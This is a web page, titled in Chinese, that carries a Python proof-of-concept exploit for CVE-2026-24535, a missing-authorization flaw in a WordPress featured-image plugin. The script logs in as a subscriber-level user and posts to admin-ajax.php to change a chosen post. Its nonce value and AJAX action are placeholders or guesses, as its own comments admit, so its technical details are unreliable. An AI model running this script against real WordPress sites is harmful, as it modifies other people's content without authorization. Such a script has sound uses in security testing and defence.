CVE-2026-24535 WordPress Automatic Featured Images from Videos 插件缺失授权漏洞

# CVE-2026-24535 PoC - WordPress Automatic Featured Images from Videos Missing Authorization # This PoC demonstrates the Broken Access Control vulnerability import requests import sys from urllib.parse import urlencode # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" # e.g., subscriber, contributor PASSWORD = "user_password" TARGET_POST_ID = 123 # Target post ID to modify VIDEO_URL = "https://example.com/video.mp4" def get_nonce_and_cookies(): """Login and get necessary tokens""" session = requests.Session() # Login login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_resp = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None, None print("[+] Login successful") # Get nonce from plugin's admin page or inline # The nonce might be visible in the page source or through AJAX nonce_resp = session.get(f"{TARGET_URL}/wp-admin/post.php?post={TARGET_POST_ID}&action=edit") # Extract nonce - typically named _wpnonce or plugin-specific nonce # This is a placeholder - actual nonce extraction depends on plugin implementation nonce = "extracted_nonce_value" return session, nonce def exploit_missing_auth(): """Exploit the missing authorization vulnerability""" session, nonce = get_nonce_and_cookies() if not session: return False # Vulnerable AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Exploit payload - this varies based on plugin's implementation exploit_data = { 'action': 'afifv_process_video', # Plugin's AJAX action 'post_id': TARGET_POST_ID, 'video_url': VIDEO_URL, 'nonce': nonce # Nonce might not be properly validated for permissions } print(f"[*] Sending exploit request to {ajax_url}") print(f"[*] Target post ID: {TARGET_POST_ID}") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": print("CVE-2026-24535 PoC - Missing Authorization in Automatic Featured Images from Videos") print("=" * 80) exploit_missing_auth()